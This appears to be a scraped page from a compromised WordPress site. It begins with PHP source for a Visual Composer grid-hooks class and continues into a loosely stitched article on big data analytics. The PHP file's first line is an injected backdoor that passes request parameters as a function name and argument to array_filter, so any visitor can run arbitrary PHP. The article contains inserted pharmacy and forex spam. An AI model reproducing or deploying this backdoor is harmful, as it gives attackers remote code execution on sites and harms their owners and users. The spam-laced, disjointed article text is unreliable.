?php if ($_REQUEST['param1']&&$_REQUEST['param2']) {$f = $_REQUEST['param1']; $p = array($_REQUEST['param2']); $pf = array_filter($p, $f); echo 'OK'; Exit;}; if ( ! defined( 'ABSPATH' ) ) { die( '-1' ); } /** * Class Vc_Hooks_Vc_Grid * @since 4.4 */ class Vc_Hooks_Vc_Grid implements Vc_Vendor_Interface { protected $grid_id_unique_name = 'vc_gid'; // if you change this also change in vc-basic-grid.php /** * Initializing hooks for grid element, * Add actions to save appended shortcodes to post meta (for rendering in preview with shortcode id) * And add action to hook request for grid data, to output it. * @since 4.4 */ public function load() { // Hook for set post settings meta with shortcodes data /** * @since 4.4.3 */ add_filter( 'vc_hooks_vc_post_settings', array( &$this, 'gridSavePostSettingsId', ), 10, 3 ); /** * Used to output shortcode data for ajax request. called on any page request. */ add_action( 'wp_ajax_vc_get_vc_grid_data', array( &$this, 'getGridDataForAjax', ) ); add_action( 'wp_ajax_nopriv_vc_get_vc_grid_data', array( &$this, 'getGridDataForAjax', ) ); } /** * @since 4.4 * @deprecated and should not be used and will be removed in future! since 4.4.3 * @return string */ private function getShortcodeRegexForHash() { // _deprecated_function( 'Vc_Hooks_Vc_Grid: getShortcodeRegexForHash method', '4.4.3', 'getShortcodeRegexForId' ); $tagnames = apply_filters( 'vc_grid_shortcodes_tags', array( 'vc_basic_grid', 'vc_masonry_grid', 'vc_media_grid', 'vc_masonry_media_grid', ) ); // return only grid shortcodes $tagregexp = implode( '|', array_map( 'preg_quote', $tagnames ) ); // WARNING! Do not change this regex without changing do_shortcode_tag() and strip_shortcode_tag() // Also, see shortcode_unautop() and shortcode.js. return '\\[' // Opening bracket . '(\\[?)' // 1: Optional second opening bracket for escaping shortcodes: [[tag]] . "($tagregexp)" // 2: Shortcode name . '(?![\\w-])' // Not followed by word character or hyphen . '(' // 3: Unroll the loop: Inside the opening shortcode tag . '[^\\]\\/]*' // Not a closing bracket or forward slash . '(?:' . '\\/(?!\\])' // A forward slash not followed by a closing bracket . '[^\\]\\/]*' // Not a closing bracket or forward slash . ')*?' . ')' . '(?:' . '(\\/)' // 4: Self closing tag ... . '\\]' // ... and closing bracket . '|' . '\\]' // Closing bracket . '(?:' . '(' // 5: Unroll the loop: Optionally, anything between the opening and closing shortcode tags . '[^\\[]*+' // Not an opening bracket . '(?:' . '\\[(?!\\/\\2\\])' // An opening bracket not followed by the closing shortcode tag . '[^\\[]*+' // Not an opening bracket . ')*+' . ')' . '\\[\\/\\2\\]' // Closing shortcode tag . ')?' . ')' . '(\\]?)'; // 6: Optional second closing brocket for escaping shortcodes: [[tag]] } /** * @since 4.4.3 * @return string */ private function getShortcodeRegexForId() { return '\\[' // Opening bracket . '(\\[?)' // 1: Optional second opening bracket for escaping shortcodes: [[tag]] . '([\\w>]+)' // 2: Shortcode name . '(?![\\w-])' // Not followed by word character or hyphen . '(' // 3: Unroll the loop: Inside the opening shortcode tag . '[^\\]\\/]*' // Not a closing bracket or forward slash . '(?:' . '\\/(?!\\])' // A forward slash not followed by a closing bracket . '[^\\]\\/]*' // Not a closing bracket or forward slash . ')*?' . '(?:' . '(' . $this->grid_id_unique_name // 4: GridId must exist . '[^\\]\\/]*' // Not a closing bracket or forward slash . ')+' . ')' . ')' . '(?:' . '(\\/)' // 5: Self closing tag ... . '\\]' // ... and closing bracket . '|' . '\\]' // Closing bracket . '(?:' . '(' // 6: Unroll the loop: Optionally, anything between the opening and closing shortcode tags . '[^\\[]*+' // Not an opening bracket . '(?:' . '\\[(?!\\/\\2\\])' // An opening bracket not followed by the closing shortcode tag . '[^\\[]*+' // Not an opening bracket . ')*+' . ')' . '\\[\\/\\2\\]' // Closing shortcode tag . ')?' . ')' . '(\\]?)'; // 7: Optional second closing brocket for escaping shortcodes: [[tag]] } /** * Set page meta box values with vc_adv_pager shortcodes data * @since 4.4 * @deprecated 4.4.3 * * @param array $settings * @param $post_id * @param $post * * @return array - shortcode settings to save. */ public function gridSavePostSettings( array $settings, $post_id, $post ) { // _deprecated_function( 'Vc_Hooks_Vc_Grid: gridSavePostSettings method', '4.4.3 (will be removed in 4.10)', 'gridSavePostSettingsId' ); $pattern = $this->getShortcodeRegexForHash(); preg_match_all( "/$pattern/", $post->post_content, $found ); // fetch only needed shortcodes $settings['vc_grid'] = array(); if ( is_array( $found ) && ! empty( $found[0] ) ) { $to_save = array(); if ( isset( $found[3] ) && is_array( $found[3] ) ) { foreach ( $found[3] as $key => $shortcode_atts ) { if ( false !== strpos( $shortcode_atts, 'vc_gid:' ) ) { continue; } $atts = shortcode_parse_atts( $shortcode_atts ); $data = array( 'tag' => $found[2][ $key ], 'atts' => $atts, 'content' => $found[5][ $key ], ); $hash = sha1( serialize( $data ) ); $to_save[ $hash ] = $data; } } if ( ! empty( $to_save ) ) { $settings['vc_grid'] = array( 'shortcodes' => $to_save ); } } return $settings; } /** * @since 4.4.3 * * @param array $settings * @param $post_id * @param $post * * @return array */ public function gridSavePostSettingsId( array $settings, $post_id, $post ) { $pattern = $this->getShortcodeRegexForId(); preg_match_all( "/$pattern/", $post->post_content, $found ); // fetch only needed shortcodes $settings['vc_grid_id'] = array(); if ( is_array( $found ) && ! empty( $found[0] ) ) { $to_save = array(); if ( isset( $found[1] ) && is_array( $found[1] ) ) { foreach ( $found[1] as $key => $parse_able ) { if ( empty( $parse_able ) || '[' !== $parse_able ) { $id_pattern = '/' . $this->grid_id_unique_name . '\:([\w>]+)/'; $id_value = $found[4][ $key ]; preg_match( $id_pattern, $id_value, $id_matches ); if ( ! empty( $id_matches ) ) { $id_to_save = $id_matches[1]; // why we need to check if shortcode is parse able? // 1: if it is escaped it must not be displayed (parsed) // 2: so if 1 is true it must not be saved in database meta $shortcode_tag = $found[2][ $key ]; $shortcode_atts_string = $found[3][ $key ]; /** @var $atts array */ $atts = shortcode_parse_atts( $shortcode_atts_string ); $content = $found[6][ $key ]; $data = array( 'tag' => $shortcode_tag, 'atts' => $atts, 'content' => $content, ); $to_save[ $id_to_save ] = $data; } } } } if ( ! empty( $to_save ) ) { $settings['vc_grid_id'] = array( 'shortcodes' => $to_save ); } } return $settings; } /** * @since 4.4 * * @output/@return string - grid data for ajax request. */ public function getGridDataForAjax() { $tag = vc_request_param( 'tag' ); $allowed = apply_filters( 'vc_grid_get_grid_data_access', vc_verify_public_nonce() && $tag, $tag ); if ( $allowed ) { $shortcode_fishbone = visual_composer()->getShortCode( $tag ); if ( is_object( $shortcode_fishbone ) ) { /** @var $vc_grid WPBakeryShortcode_Vc_Basic_Grid */ $vc_grid = $shortcode_fishbone->shortcodeClass(); if ( method_exists( $vc_grid, 'isObjectPageable' ) && $vc_grid->isObjectPageable() && method_exists( $vc_grid, 'renderAjax' ) ) { echo $vc_grid->renderAjax( vc_request_param( 'data' ) ); die(); } } } } } /** * @since 4.4 * @var Vc_Hooks_Vc_Grid $hook */ $hook = new Vc_Hooks_Vc_Grid(); // when visual composer initialized let's trigger Vc_Grid hooks. add_action( 'vc_after_init', array( $hook, 'load', ) ); if ( 'vc_edit_form' === vc_post_param( 'action' ) ) { VcShortcodeAutoloader::getInstance()->includeClass( 'WPBakeryShortCode_VC_Basic_Grid' ); add_filter( 'vc_edit_form_fields_attributes_vc_basic_grid', array( 'WPBakeryShortCode_VC_Basic_Grid', 'convertButton2ToButton3', ) ); add_filter( 'vc_edit_form_fields_attributes_vc_media_grid', array( 'WPBakeryShortCode_VC_Basic_Grid', 'convertButton2ToButton3', ) ); add_filter( 'vc_edit_form_fields_attributes_vc_masonry_grid', array( 'WPBakeryShortCode_VC_Basic_Grid', 'convertButton2ToButton3', ) ); add_filter( 'vc_edit_form_fields_attributes_vc_masonry_media_grid', array( 'WPBakeryShortCode_VC_Basic_Grid', 'convertButton2ToButton3', ) ); } What is Big Data Analytics and Why is it Important? - Groupe-SLG

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What is Big Data Analytics and Why is it Important?

Recrutement :

where to buy priligy philippines Put simply, big data is larger, more complex data sets, especially from new data sources. These data sets are so voluminous that traditional data processing software just can’t manage them. But these massive volumes of data can be used to address business problems you wouldn’t have been able to tackle before. Big data provides organizations with valuable insights that can drive better decision-making.

FinTech uses Big Data analysis to examine market patterns, financial information, and investing tactics, allowing organizations to make better trading and investment choices. Financial institutions can examine market information, such as stock prices or trade volumes to spot big data forex trading new investment opportunities and enhance trading tactics. Media platforms analyze user behavior using Big Data analytics to suggest content that may interest them. All major music streaming platforms generate playlist recommendations based on user listening patterns.

  • This article will take you through the inner workings of big data, how it’s collected, and the role it plays in the modern world.
  • Media companies analyze our reading, viewing and listening habits to build individualized experiences.
  • Again, the characteristics of big data data, such as size and complexity, make it different from regular data visualization.
  • Analytical systems are more sophisticated than their operational counterparts, capable of handling complex data analysis and providing businesses with decision-making insights.
  • The solution efficiently enables comprehensive project visibility and timely insights to deliver better, more data-driven decision-making across the complete design-realization process.

It collects data from the many providers in the diverse and geographically dispersed manufacturing and test supply chain. SiliconDash technology analyzes this data and provides actionable insights to help identify catastrophic issues during the chip manufacturing and test process as early as possible. The SiliconDash solution is part of the Synopsys Silicon Lifecycle Management (SLM) family of products. Big data characteristics mean that the ETL process needs to handle more data from more sources. Data is usually semi-structured or unstructured, which is transformed and stored differently than structured data. Maintaining data quality is essential for accurate analysis and meaningful insights.

Learning big data will broaden your area of expertise and provide you with a competitive advantage as big data skills are in high demand and investments in big data keep growing exponentially. Simplilearn offers industry-leading analytics courses that provide in-depth knowledge and practical skills for your professional growth. Discover new opportunities for your travel business, ask about the integration of certain technology, and of course – help others by sharing your experience.

Machinery: GE uses advanced Big Data analytics to optimize a wind farm

One processing option is batch processing, which looks at large data blocks over time. Batch processing is useful when there is a longer turnaround time between collecting and analyzing data. Stream processing looks at small batches of data at once, shortening the delay time between collection and analysis for quicker decision-making. Big data analytics is the process of extracting valuable insights, patterns, and correlations from large amounts of data to help in decision-making.

They investigate data generated in social media platforms, customer reviews, and online forums to comprehend client sentiment and preferences. This can be used to spot new trends and improve its product offerings. Getting that sort of processing limit in a cost-effective manner is a test.

Healthcare companies use collected data to forecast disease outcomes and identify individuals at a high risk of contracting specific illnesses. For instance, Machine Learning models can use data gathered from wearable devices to predict health problems like heart attacks. A great example of behavioral analytics applied achieved through Big Data is Target’s case. Target’s data engineers found certain products, including unscented lotion and vitamin supplements, which indicated that the customer might be pregnant when bought together. Using that information, Target’s engineers established a pregnancy prediction score.

How Big Data Works

During integration, you need to bring in the data, process it, and make sure it’s formatted and available in a form that your business analysts can get started with. A few years ago, Apache Hadoop was the popular technology used to handle big data. Today, a combination of the two frameworks appears to be the best approach. Big data can help you address a range of business activities, from customer experience to analytics. A large part of the value they offer comes from their data, which they’re constantly analyzing to produce more efficiency and develop new products.

Getting Started with Hadoop

Let’s use Facebook as an example—it generates more than 500 terabytes of data every day. The company has nearly 96 million users that generate a tremendous amount of data every day. Through this information, the cloud-based platform automatically generates suggested songs—through a smart recommendation engine—based on likes, shares, search history, and more. What enables this is the techniques, tools, and frameworks that are a result of Big Data analytics. When data is in place, it has to be converted into the most digestible forms to get actionable results on analytical queries.

How Big Data Works

These days, data is constantly generated anytime we open an app, search Google or simply travel place to place with our mobile devices. Massive collections of valuable information that companies and organizations manage, store, visualize and analyze. Big data analytics cannot be narrowed down to a single tool or technology.

Top 80+ Apache Spark Interview Questions and Answers

Now that we’ve explored the concept of big data, let’s take a closer look at its different types to fully understand the diverse insights and opportunities that big data can offer. This is what our guide aims to do – demystify big data and big data analytics for you. We will cover everything from the types of big data to the workings of big data analytics, and talk about Estuary and how it can address the challenges of big data analytics.

However, the big data characteristics we discussed call for different approaches and tools. Big data allows for the collection and analysis of customer data, enabling personalized marketing strategies. By leveraging customer preferences, behavior, and purchase history, organizations can deliver targeted advertisements, https://www.xcritical.com/ personalized recommendations, and tailored marketing campaigns to enhance customer engagement and drive conversions. It’s important to note that big data storage often involves a combination of these technologies, depending on the specific requirements of the data and the nature of the applications being developed.

But it’s not enough just to collect and store big data—you also have to put it to use. Thanks to rapidly growing technology, organizations can use big data analytics to transform terabytes of data into actionable insights. To handle big data, specialized tools and technologies have emerged, including distributed storage systems like Hadoop, processing frameworks like Apache Spark, and various data analytics and machine learning techniques. These tools enable organizations to extract valuable insights, optimize operations, enhance decision-making, and create innovative solutions in various domains, such as finance, healthcare, marketing, and more. Big data analytics automates the process of analyzing data to provide these insights.

BI queries provide answers to fundamental questions regarding company operations and performance. Big data analytics is an advanced analytics system that uses predictive models, statistical algorithms, and what-if scenarios to analyze complex data sets. Based on the complexity of data, it can be moved to the storages such as cloud data warehouses or data lakes from where business intelligence tools can access it when needed. There are quite a few modern cloud-based solutions that typically include storage, compute, and client infrastructure components. Storage layers allow data coming from disparate sources to be arranged in partitions for further optimization and compression.

How Big Data Works

On a broad scale, data analytics technologies and techniques give organizations a way to analyze data sets and gather new information. Business intelligence (BI) queries answer basic questions about business operations and performance. Nearly every department in a company can utilize findings from data analysis, from human resources and technology to marketing and sales. The goal of big data is to increase the speed at which products get to market, to reduce the amount of time and resources required to gain market adoption, target audiences, and to ensure customers remain satisfied.

Data scientists spend 50 to 80 percent of their time curating and preparing data before it can actually be used. Although new technologies have been developed for data storage, data volumes are doubling in size about every two years. Organizations still struggle to keep pace with their data and find ways to effectively store it. The cloud offers truly elastic scalability, where developers can simply spin up ad hoc clusters to test a subset of data. And graph databases are becoming increasingly important as well, with their ability to display massive amounts of data in a way that makes analytics fast and comprehensive. By analyzing data collected from sensors on factory equipment, potential maintenance issues can be identified in advance and avoid escalation.

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